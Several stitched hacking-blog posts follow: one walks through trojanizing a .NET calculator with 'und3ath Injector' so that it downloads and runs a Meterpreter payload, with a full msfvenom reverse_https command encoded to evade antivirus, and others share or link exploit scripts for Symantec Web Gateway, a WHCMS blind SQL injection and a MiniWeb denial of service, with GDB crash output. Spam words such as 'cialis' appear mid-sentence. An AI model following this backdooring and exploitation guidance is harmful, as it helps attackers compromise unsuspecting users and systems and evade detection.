Injecting arbritary code into .NET Assemblies using ‘und3ath Injector’

Last night I was browsing a forum I frequent – http://trojanforge.com/ and came across a piece of code named “und3ath Injector” written by a user named und3ath. It claimed to be capable of injecting arbritary code into .NET assemblies without harming the original code – in short – a stealth backdooring tool for .NET executables.

The author’s article and release can be found on his blog here: http://und3ath.blogspot.fr/2012/10/source-d3ath-jector-mono-cecil-injector.html this guy is a very good .NET programmer, I expect he will come out with more awesome things soon :)

This, to me, was fascinating. What it does is it directly injects ‘evil code’ into the .net executable into one of the functions or forms that comprise the assembly, without altering the functionality of the original. It simply sneakily adds a “Little Extra”. The fact I fucking hate .NET with a passion meant I saw a hilarious extra “Evil” side to this! A trojanizer for .NET executables? AWESOME. I had trouble in the past injecting MSF payloads into .NET binaries without breaking the original binary.

The proof of concept tool – und3ath Injector – has two payloads. A Messagebox payload and a “Trojan Downloader” payload. The first is proof the damn thing works, the second a more “weaponized” payload for dropping malware or backdoors on a victim system.

One of the benefits of using a downloader instead of hiding a full backdoor in there is stealth – less modifications to the file, and less for an AV to sign on.

So, without further ado, I am going to inject a dropper into a .NET binary, and see does it function as planned. The dropper will download a Meterpreter payload from a remote server, execute the payload, and we will take it from there…

Before we do anything, we will generate our Metasploit Payload to run on the victim system and place in our webroot.

The following should do the trick…

msfvenom -p windows/meterpreter/reverse_https -f exe -e x86/shikata_ga_nai -i 25 LHOST=192.168.1.41 LPORT=443 >evil.exe

This creates the executable file “evil.exe” in our current working directory. The msfvenom command should be self explanatory, but if there is demand for it I will write an article later on using msfvenom. If you are capable of reading the f*cking manual you should get it :)

Creating the Meterpreter payload

Creating the Meterpreter payload

So we have our evil binary in /var/www/lulz ready to go. We can now move on to the main part of this article – backdooring .NET assemblies by “patching” them with extra .NET code.

The victim .NET binary I chose to use is a simple calculator application. I found it online and decided it made a good enough victim for demonstration purposes.

Here is a screenshot of it running, for those of you who do not know what a calculator is :P

.NET calculator

.NET calculator

Now. We open ‘und3ath Injector’ and select “Load File”. Use this dialogue to select the binary you wish to backdoor.

Selecting a file to backdoor

Selecting a file to backdoor

Next we click on any of the parts that we think would be good to inject code into (I normally choose the main class for some odd reason, though you could select an on click event…)

When we click on this the “Payloader” menu comes up. We insert our information/selection here.

Create Payload

Create the Payload

When you click inject, it starts creating a new binary for you to use and you save it.

Saving the Backdoor

Saving the Backdoor

Now, we have our evil binary ready to deploy, and have our Metasploit listener ready. We run the modified binary on the victim host and haz shell :)

g0tsh3ll, again

Got a shell =D

So, as you an see, it is relatively trivial to inject arbritary code into a .NET assembly without affecting the existing functionality of the software.

0x4641494c – Fail Patching and Symantec Remote Root Redux!

Those of you who have been reading this for a while, or who are familiar with my work, might remember this: Symantec Web Gateway Remote Root, a little PoC I knocked together based on an exploit Muts from Offensive Security wrote. His PoC, I felt, was a tad unuseable, so I made an attempt at reinventing it :)

So, naturally, Symantec patched this terrible vulnerability. And everyone breathed a sigh of relief.

Or so they thought! Muts revisited it post-patch, and simply found another way to exploit the EXACT SAME FLAW. And when he released the PoC for his “Exploit: Reloaded”, I like to think he took my advice and wrote a better ‘sploit, as his new one is very similar to my “more weaponized” PoC. A bit neater too… Is this a game of one-upmanship? ;)

Without further ado, here is the exploit: Muts Reloaded!

Anyways, I better go off and finish that demo on Cryptfuscate I promised I would write :)
~infodox

The WHCMS Exploit…

The WHCMS Exploit…

So, there has been some low level hype over this WHCMS 0day that was for sale a while back, for the extortionate price of $6k. Sure, some exploits are worth that, but definately not a friggin blind SQLi vuln. Does that mean I can sell RFI bugs for $10k “because they are more dangerous”? I somehow doubt it…

Anyway, as I was considering beginning some fuzzing of WHCMS, I noticed the following post on Full Disclosure – The FD Post

So, like many people, I downloaded the provided scripts and had a look. Having been burned before with the “OOH SHINY – OOH SHIT I GOT RM’d” syndrome, I decided to FULLY read the code first.

exploit.py seems to simply check for the vulnerable part, and tells you if you can own it or not. For archival reasons it is mirrored on my pastebin -> http://pastebin.com/QS9ZRYyc

blind_sqli.py is FAR more interesting. It is a full blown, explicitly targetted Blind SQL Injection script. You point it at your target, let it run, and bam. Admin login creds come out. Fairly well written for a “lame PoC”, and I have archived it pn my pastebin also -> http://pastebin.com/WB3BnB2G

Now I have not bothered getting a copy of WHCMS to test this all out on, as it is not so interesting to me, but seriously. This sold for 6 grand? I wonder how much my SCADA/WinCC/MiniWeb DoS would have sold for?

Anyways, I’m off. Not taking any responsibility for what is done using those scripts I mirrored, but apparently “EVERYONE WAS GETTING OWNED” or something. nice.

~infodox

MiniWeb DoS PoC Exploit

So, cialis quite a while ago, I was fuzzing the MiniWeb Server available from Google Code – Miniweb after I realized that WinCC/SCADA systems also seem to use this web server. (Does this make Siemens in violation of the GPL?).

I had been using one of Metasploits fuzzers, check and noticed an instant crash it was causing, so I started trying to replicate it.

After enlisting the help of ohdae from BindShell Labs, we were able to figure out the crash was caused by the “Content-Length: -10″ part of the malicious HTTP Header, sovaldi basically, it chokes on that and dies. I had been convinced it was something to do with malicious POST data, but thanks to ohdae, that was quickly changed.

After a lot more debugging and playing about, I learned that someone else had gotten to this bug first, and it was not a 0day after all. I also had just about given up on getting remote code execution from this vulnerability.

The original advisory can be found here: http://aluigi.altervista.org/adv/winccflex_1-adv.txt

Anyways, on to the fun stuff. So, here is what GDB looks like when the exploit is ran…

root@bt:~/fuzzme/SCADA# gdb
GNU gdb (GDB) 7.1-ubuntu
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type “show copying”
and “show warranty” for details.
This GDB was configured as “i486-linux-gnu”.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
(gdb) exec-file SCADA
(gdb) run
Starting program: /root/fuzzme/SCADA/SCADA
MiniWeb 0.8.180 (C)2005-09 Stanley Huang (C)2010 Stanley Huang / Felix Wang

Listening port: 80
Web root: webroot
Max clients: 32
URL handlers: 1
Dir listing: on
[6] connection accepted @ May 31 16:15:34
[6] IP: 127.0.0.1
Connected clients: 1

Program received signal SIGSEGV, Segmentation fault.
0x0804c76b in ?? ()
(gdb) info registers
eax            0x0    0
ecx            0x1    1
edx            0xfffffff6    -10
ebx            0x8052718    134555416
esp            0xbffff2c0    0xbffff2c0
ebp            0xbffff318    0xbffff318
esi            0x0    0
edi            0x804f3fa    134542330
eip            0x804c76b    0x804c76b
eflags         0x10246    [ PF ZF IF RF ]
cs             0x73    115
ss             0x7b    123
ds             0x7b    123
es             0x7b    123
fs             0x0    0
gs             0x33    51
(gdb)

And here is a screenshot of my exploit killing the server…
MiniWeb WinCC Denial of Service

Finally, to wrap things up, the PoC Exploit: http://pastebin.com/9EW96xGY

~Infodox

Symantec Web Gateway 5.0.2 Remote Root Exploit

So I was browsing the net and happened across Muts’ latest PoC – an LFI bug in Symantec Web Gateway, which he claims gives remote root. You can see it here: Exploit DB

I read the exploit code and noticed, while beautifully elegant, it is a little bit of a pain in the ass to use, as you must edit it every single time.

I also was in the mood to knock up a quick bit of python, so here is what I made: Pastebin – Exploit Code

It is not the best, but was just my attempt to make the exploit code Muts provided a little better in the usability stakes :)

I have no Symantec WebGateway to test it in, but it should do the trick ;)

Anyway, thats it. All credit to Muts for finding the bug and writing the original exploit code, all I am doing is improving it. Will likely do this a lot for fun and to keep my programming skills sharpened :D

~infodox